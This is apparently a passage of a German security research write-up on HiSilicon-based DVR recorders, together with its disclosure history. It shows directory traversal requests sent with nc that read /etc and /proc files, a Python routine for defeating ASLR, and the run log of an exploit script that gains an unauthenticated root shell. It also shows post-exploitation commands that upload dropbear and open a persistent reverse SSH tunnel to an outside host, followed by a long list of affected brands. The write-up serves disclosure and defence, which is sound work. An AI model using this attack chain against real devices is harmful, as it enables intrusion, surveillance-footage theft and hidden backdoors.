$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----

Beachte, dass diese Schwachstelle schwerwiegend ist, da der Angreifer beliebige
Dateien lesen kann, einschließlich aufgezeichneter Videos (falls das Gerät über
HDD-Speicher verfügt).

Darüber hinaus kann uns die Schwachstelle helfen, ASLR zu überwinden.

Das `/proc`-Dateisystem enthält viele Informationen über laufende Prozesse in den
Verzeichnissen `/proc/[pid]`. Das Auflisten von `/proc` ist mit `GET ../../proc`
möglich; auf diese Weise erhalten wir alle PIDs. Wenn `/proc/[pid]/cmdline` den
Wert `/var/Sofia` hat, ist die PID der Anwendung gefunden.

Die wichtigsten Informationen zur Überwindung von ASLR finden sich in
`/proc/[pid]/smaps`. Diese Datei enthält Speicherseiten-Statistiken, Seitenadressen
und andere interessante Informationen (z. B. RSS). Zum Beispiel:

----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0 
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...
----

Dies ist nur eine Seite; die Auflistung enthält etwa ~150 Seiten.

Wenn wir uns die obige Struktur ansehen (mit Aufmerksamkeit auf Seitengrößen, Muster
usw.), können wir (durch Experimente und Heuristiken) erraten, welche Seite den Stack
des benötigten Threads enthält. Der Offset des Stacks von der Basisadresse ist
konstant (er beträgt 0x7fd3d8).

Das Snippet zum Erraten der Speicherseite:

[source,python]
----
def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
----

wobei `smaps[t][1][0]` die Größe der `t`-ten vollständigen Seite ist und
`smaps[t][1][1]` das zugehörige RSS.

Das Snippet ist Teil des vollständigen Exploit-Skripts, das automatisch gegen
verschiedene ASLR-aktivierte HiSilicon-Ziele funktioniert. Für eine kurze
Einführung in das Skript:

----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")
----


=== Post-Exploitation

Was können wir mit dieser RCE tun? Alles. Denk daran, dass es sich um eine nicht
autorisierte RCE handelt, die nur den Webservice-Port 80/tcp nutzt. Dieser Port wird
häufig nach außen weitergeleitet. Wenn ein Angreifer diese RCE ausnutzt, erhält er/sie
Zugang zum internen LAN.

Unser Exploit-Skript hat einige nützliche Funktionen, z. B. kann es (zuvor kompilierte)
Werkzeuge auf das Zielgerät hochladen.

Wenn wir eine persistente, stabile Hintertür einrichten möchten, können wir einen
Dropbear hochladen, ihn lokal lauschen lassen und einen Reverse-SSH-Tunnel nach außen
öffnen. Mit dieser Architektur ist es möglich, sich von überall und jederzeit auf dem
DVR-Gerät anzumelden.----
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----

Jetzt ist das Gerät über den Reverse-Tunnel per SSH erreichbar:

----
$ ssh -p2322 root@localhost
root@localhost's password: 


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$ 
----


== Zusammenfassung

Hier sind die dokumentierten Schwachstellen:

[cols="2,1,1,1,4",options="header",]
|=======================================================================
|Schwachstelle |Risiko |Dienst |Entdeckt |Auswirkung
|hartkodiertes (Backdoor-)Telnet-Passwort |hoch |23/tcp |früher von anderen
|jeder, der Zugriff auf die Telnet-Schnittstelle hat, kann die volle Kontrolle
über das Gerät erlangen, selbst wenn der Benutzer angemessene Passwörter setzt

|Root-Shell-Zugriff mit jedem Anwendungskonto |hoch |9527/tcp |vom
Autor |jeder, der irgendeine Art von Anwendungskonto besitzt und Zugriff
auf die Servicekonsole hat, kann Berechtigungen bis zur vollständigen (Shell-)
Kontrolle über das Gerät erlangen

|*Backdoor-Anwendungspasswort* |kritisch |80/tcp, 554/tcp |vom
Autor |jeder kann auf das Gerät als Anwendungsadmin zugreifen, selbst
wenn der Benutzer starke Passwörter eingerichtet hat, um das
Gerät zu schützen

|*Buffer Overflow im integrierten Webserver* |kritisch |80/tcp |vom
Autor |durch Ausnutzung des Buffer Overflows kann der Angreifer Remote-Codeausführung
als Root auf dem Gerät erlangen (keine Authentifizierung erforderlich), Backdoors,
Malware und andere schädliche Dinge installieren

|Directory Traversal |hoch |80/tcp |früher von anderen(?) und vom
Autor |nicht autorisierter Lesezugriff auf alles (z. B. aufgezeichnete Streams)
auf dem Gerät, hilft auch beim Ausnutzen des Buffer Overflows
|=======================================================================

Wenn jemand denkt, dass nur dieses Gerät der Marke „Seculink“ betroffen ist,
liegt er falsch. Die Bandbreite der betroffenen Geräte ist sehr groß.
Jedes Gerät, das mit dieser Art von HiSilicon-SoC-Hardware gebaut wurde, ist verwundbar.
Diese Geräte teilen sich (fast) dieselbe Firmware mit der binären Anwendung namens „Sofia“.
Die obige Schwachstelle (einschließlich des voll ausgestatteten Skripts) funktioniert fast zuverlässig
ohne Änderung auf vielen verschiedenen Hardwareplattformen.

Hier ist eine (unvollständige) Liste der betroffenen Marken:

image::./brands_affected.png[brands affected]

http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/

Im Allgemeinen kann man sagen, dass diese Art von billigen IoT-Geräten
Sicherheitsalbtäume sind. Jedes Gerät, das der Autor kürzlich getestet hat, wies eine
ernste oder kritische Schwachstelle auf. Aus der Sicht eines Pentesters lautet die
Empfehlung, dass diese Art von Geräten gut getrennt werden muss,
diese Art von Geräten darf nicht dasselbe Netzwerk mit wichtigen,
vertraulichen Daten teilen. Leider gibt es keine echte Chance, Updates
mit Patches für solche Firmwares zu erhalten.

Schließlich ist es wichtig zu erwähnen, dass diese Buffer-Overflow-Schwachstelle
(mit dem Exploit-PoC-Code) über das
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD)-Programm von https://www.beyondsecurity.com/[Beyond Security] offengelegt wurde. Der
Hersteller (HiSilicon) wurde (von Beyond Security) Ende
2016 benachrichtigt, aber es gab keine Antwort, bevor die Schwachstelle
der Öffentlichkeit zugänglich gemacht wurde (leider eine übliche Sache).

Die veröffentlichte Offenlegung vom Februar 2017 ist
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[hier] verfügbar.

*UPDATE (2023-01-01):* Diese Forschung wird von https://vulncheck.com/[VulnCheck]
(am 2022-11-30) in diesem Artikel über das Pwning von Xiongmai-Geräten
von https://twitter.com/Junior_Baines[Jacob Baines] referenziert:
https://vulncheck.com/blog/xiongmai-iot-exploitation
Tool herunterladen